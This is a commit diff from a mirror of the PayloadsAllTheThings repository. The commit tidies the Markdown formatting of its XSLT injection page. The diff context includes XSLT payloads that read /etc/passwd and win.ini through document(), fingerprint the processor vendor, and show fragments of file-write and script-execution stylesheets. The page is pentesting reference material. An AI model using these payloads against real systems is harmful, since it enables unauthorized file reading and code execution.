mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings.git
synced 2025-12-12 15:49:38 -08:00
Markdown Linting - SQL, Juggling, XSLT, XSS, Zip
This commit is contained in:
@@ -2,7 +2,6 @@
|
||||
|
||||
> Processing an un-validated XSL stylesheet can allow an attacker to change the structure and contents of the resultant XML, include arbitrary files from the file system, or execute arbitrary code
|
||||
|
||||
|
||||
## Summary
|
||||
|
||||
- [Tools](#tools)
|
||||
@@ -17,12 +16,10 @@
|
||||
- [Labs](#labs)
|
||||
- [References](#references)
|
||||
|
||||
|
||||
## Tools
|
||||
|
||||
No known tools currently exist to assist with XSLT exploitation.
|
||||
|
||||
|
||||
## Methodology
|
||||
|
||||
### Determine the Vendor and Version
|
||||
@@ -31,7 +28,7 @@ No known tools currently exist to assist with XSLT exploitation.
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
|
||||
<xsl:template match="/fruits">
|
||||
<xsl:value-of select="system-property('xsl:vendor')"/>
|
||||
<xsl:value-of select="system-property('xsl:vendor')"/>
|
||||
</xsl:template>
|
||||
</xsl:stylesheet>
|
||||
```
|
||||
@@ -76,7 +73,7 @@ Don't forget to test for XXE when you encounter XSLT files.
|
||||
<xsl:copy-of select="document('/etc/passwd')"/>
|
||||
<xsl:copy-of select="document('file:///c:/winnt/win.ini')"/>
|
||||
Fruits:
|
||||
<!-- Loop for each fruit -->
|
||||
<!-- Loop for each fruit -->
|
||||
<xsl:for-each select="fruit">
|
||||
<!-- Print name: description -->
|
||||
- <xsl:value-of select="name"/>: <xsl:value-of select="description"/>
|
||||
@@ -85,10 +82,9 @@ Don't forget to test for XXE when you encounter XSLT files.
|
||||
</xsl:stylesheet>
|
||||
```
|
||||
|
||||
|
||||
### Write Files with EXSLT Extension
|
||||
|
||||
EXSLT, or Extensible Stylesheet Language Transformations, is a set of extensions to the XSLT (Extensible Stylesheet Language Transformations) language. EXSLT, or Extensible Stylesheet Language Transformations, is a set of extensions to the XSLT (Extensible Stylesheet Language Transformations) language.
|
||||
EXSLT, or Extensible Stylesheet Language Transformations, is a set of extensions to the XSLT (Extensible Stylesheet Language Transformations) language. EXSLT, or Extensible Stylesheet Language Transformations, is a set of extensions to the XSLT (Extensible Stylesheet Language Transformations) language.
|
||||
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
@@ -105,7 +101,6 @@ EXSLT, or Extensible Stylesheet Language Transformations, is a set of extensions
|
||||
</xsl:stylesheet>
|
||||
```
|
||||
|
||||
|
||||
### Remote Code Execution with PHP Wrapper
|
||||
|
||||
Execute the function `readfile`.
|
||||
@@ -238,22 +233,20 @@ return proc.StandardOutput.ReadToEnd();
|
||||
|
||||
<xsl:template match="/fruits">
|
||||
--- BEGIN COMMAND OUTPUT ---
|
||||
<xsl:value-of select="user:execute()"/>
|
||||
--- END COMMAND OUTPUT ---
|
||||
<xsl:value-of select="user:execute()"/>
|
||||
--- END COMMAND OUTPUT ---
|
||||
</xsl:template>
|
||||
</xsl:stylesheet>
|
||||
```
|
||||
|
||||
|
||||
## Labs
|
||||
|
||||
- [Root Me - XSLT - Code execution](https://www.root-me.org/en/Challenges/Web-Server/XSLT-Code-execution)
|
||||
|
||||
|
||||
## References
|
||||
|
||||
- [From XSLT code execution to Meterpreter shells - Nicolas Grégoire (@agarri) - July 2, 2012](https://www.agarri.fr/blog/archives/2012/07/02/from_xslt_code_execution_to_meterpreter_shells/index.html)
|
||||
- [XSLT Injection - Fortify - January 16, 2021](http://web.archive.org/web/20210116001237/https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection)
|
||||
- [XSLT Injection Basics - Saxon - Hunnic Cyber Team - August 21, 2019](http://web.archive.org/web/20190821174700/https://blog.hunniccyber.com/ektron-cms-remote-code-execution-xslt-transform-injection-java/)
|
||||
- [Getting XXE in Web Browsers using ChatGPT - Igor Sak-Sakovskiy - May 22, 2024](https://swarm.ptsecurity.com/xxe-chrome-safari-chatgpt/)
|
||||
- [XSLT injection lead to file creation - PT SWARM (@ptswarm) - May 30, 2024](https://twitter.com/ptswarm/status/1796162911108255974/photo/1)
|
||||
- [XSLT injection lead to file creation - PT SWARM (@ptswarm) - May 30, 2024](https://twitter.com/ptswarm/status/1796162911108255974/photo/1)
|
||||
|
||||
Reference in New Issue
Block a user